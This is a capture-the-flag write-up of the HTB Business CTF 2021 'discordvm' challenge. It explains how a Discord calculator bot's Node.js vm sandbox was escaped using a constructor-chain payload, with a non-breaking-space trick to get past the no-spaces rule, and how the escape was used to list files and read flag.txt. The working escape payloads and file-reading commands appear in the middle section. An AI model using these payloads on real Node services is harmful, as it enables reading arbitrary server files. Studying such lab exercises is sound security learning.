We introduced "sandboxing" using Node.js vm module on our calculator feature.
Learn more from additional readings found at the end of the article. I would be thankful if you mention me when using parts of this article in your work. Enjoy!
|Type||Jeopardy CTF / Miscellaneous|
|Organized by||Hack The Box|
|Name||HTB Business CTF 2021 / discordvm|
|Started||2021/07/23 12:00 UTC|
|Ended||2021/07/25 18:00 UTC|
|Author||Asentinn / NetCrawlers|
We are provided with the Discord Server invite.
We are having single
general channel, without permissions to send messages. In the message history we can read
[+] Welcome to our mock Discord server! 👋
It is intended that you cannot send messages here. 🔒
The purpose of this Discord server is to just host the Business CTF 2021 Misc challenge > called discordvm. :metal:
Do not DM anyone other than
To interact with the challenge DM
@discordvmthe command !help. Have fun! 👏
So, the purpose of this challenge is to get the flag from the Discord Bot -
@discordvm. We are also provided with the backend source code:
const vm = require('vm'); const payload = '1+1'; console.log(vm.runInNewContext(payload)); // The Discord bot get's args, so pretty much the same setup except no spaces.
Communication with the bot
Bot reacts to the
!calc commands. Second one apparently just pass the arguments of command as a
payload to the
vm.runInNewContext NodeJS method.
Let's create a local NodeJS application that is obtaining the payload in its arguments, just like the bot.
const vm = require('vm'); var myArgs = process.argv.slice(2); console.log(vm.runInNewContext(myArgs));
To run it, simply call
node main.js 1+1
Now, working together with the The unsecure node vm module article I come up with the following Node VM escape command
node main.js "(this.constructor.constructor('return this'))()"
Passing an exploit in the command does error out.
It seems like there is an issue with the space in the command. There are multiple ways to challenge that. I went with
We can see that returned is the
object. Now, by enumerating available members or
this we can find out that
fs is loaded.
This is what we need. Let's retrieve the flag from the file system.
!calc (this.constructor.constructor("return"+String.fromCharCode("160")+"this.fs.readdirSync('.')"))() !calc (this.constructor.constructor("return"+String.fromCharCode("160")+"this.fs.readFileSync('flag.txt')"))()
Do you like what you see? Join the Hashnode.com now and start publishing. Things that are awesome:
✔ Automatic GitHub Backup
✔ Write in Markdown
✔ Free domain mapping
✔ CDN hosted images
✔ Free built-in newsletter service
✔ Built-in blog monetizing through the Sponsor feature
By using my link, you can help me unlock the ambassador role, which cost you nothing and gives me some additional features to support my content creation mojo.
📌 Follow the
#CyberEthicalhashtag on the social media
🎁 Become a Patron and gain additional benefits
👉 Instagram: @cyber.ethical.me
👉 LinkedIn: Kamil Gierach-Pacanek
👉 Twitter: @cyberethical_me
👉 Facebook: @CyberEthicalMe